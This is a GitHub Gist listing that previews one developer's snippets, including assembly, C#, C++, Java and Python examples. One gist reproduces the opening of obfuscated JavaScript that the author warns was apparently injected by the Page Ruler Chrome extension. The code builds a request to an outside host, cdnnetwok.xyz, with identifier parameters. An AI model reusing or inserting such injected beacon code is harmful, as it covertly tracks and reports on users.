Skip to content

Instantly share code, notes, and snippets.

View shivanshu3's full-sized avatar

Shivanshu Goyal shivanshu3

View GitHub Profile
@shivanshu3
shivanshu3 / LinkedListWin64.s
Created December 20, 2023 20:02
Linked List Windows x86_64 Implementation in NASM assembly
; Build Instructions
; nasm -fwin64 -gcv8 LinkedListWin64.s
; link LinkedListWin64.s /entry:main_asm /subsystem:console /debug kernel32.lib ucrt.lib
bits 64
default rel
struc List
.head: resq 1
endstruc
@shivanshu3
shivanshu3 / TinyWinDll.md
Last active November 20, 2023 03:04
Instructions for creating the smallest possible Windows DLL

foo.asm contents:

END

Note: Use the x86 native tools command prompt which comes with Visual Studio for running the following commands:

ml /c /coff foo.asm
link /merge:.rdata=.text /merge:.data=.text /align:16 /subsystem:windows /dll /noentry foo.obj
@shivanshu3
shivanshu3 / AzureKeyVaultSecrets.cs
Created March 2, 2021 23:14
Access Azure KeyVault secrets using service principal client secret in C#
using Microsoft.Azure.KeyVault;
using Microsoft.Azure.Services.AppAuthentication;
using System;
namespace AzureKeyVaultSecrets
{
class Program
{
static void Main(string[] args)
{
@shivanshu3
shivanshu3 / OpenChromeSessions.cs
Created November 12, 2020 23:27
Open N instances of a URL
using OpenQA.Selenium;
using OpenQA.Selenium.Chrome;
using System;
using System.Linq;
using System.Threading;
namespace HelloCSharp
{
class Program
{
#include "stdafx.h"
uint32_t GetCardValue(uint32_t card)
{
return card % 13;
}
std::vector<uint32_t> GenerateCards()
{
constexpr size_t numCards = 52;
@shivanshu3
shivanshu3 / SIMD_Sample.cpp
Last active November 20, 2018 00:50
Using SIMD instrinsics in MSVC. SIMD on a single thread gave us a 29x performance boost. Parallel SIMD gave us a 43x boost! I'm using Intel i5-4670K.
#include "stdafx.h"
#include <iostream>
#include <string>
#include <chrono>
#include <random>
#include <thread>
#include <Windows.h>
#include <immintrin.h>
// Allocates 32 byte aligned memory. 32 bytes == 256 bits.
@shivanshu3
shivanshu3 / page_ruler_sketchy_code.js
Created February 6, 2018 16:49
Warning: Don't run this code. This code is injected by the Page Ruler chrome extension, and I think it might be dangerous.
(function(f, i, j) {
var g = "c822bb0d82ad01a5ae";
var b = (function() {
var l = 3;
var o = parseInt("0");
var n = parseInt("0");
(function() {
var q = ["mid=", "wid=49377", "sid=", "tid=200", "rid=LAUNCHED"];
a = (window.location.protocol == "http:" ? "http:" : "https:") + "//cdnnetwok.xyz/metric/?" + q.join("&");
var p = f.createElement("img");
@shivanshu3
shivanshu3 / Main.java
Created October 27, 2016 01:33
This is a Selenium demo for CPEN422 using an assignment from CPEN400A
package selenium.presentation;
import java.lang.reflect.Type;
import java.util.Map;
import org.openqa.selenium.By;
import org.openqa.selenium.JavascriptExecutor;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.interactions.Actions;
@shivanshu3
shivanshu3 / traceroute.py
Last active August 22, 2021 10:09
This is the traceroute implementation in Python3. The code was derived from https://gist.github.com/pklaus/856268
#!/usr/bin/env python3
# Derived from:
# https://gist.github.com/pklaus/856268
import socket;
import struct;
import random;
import time;
import select;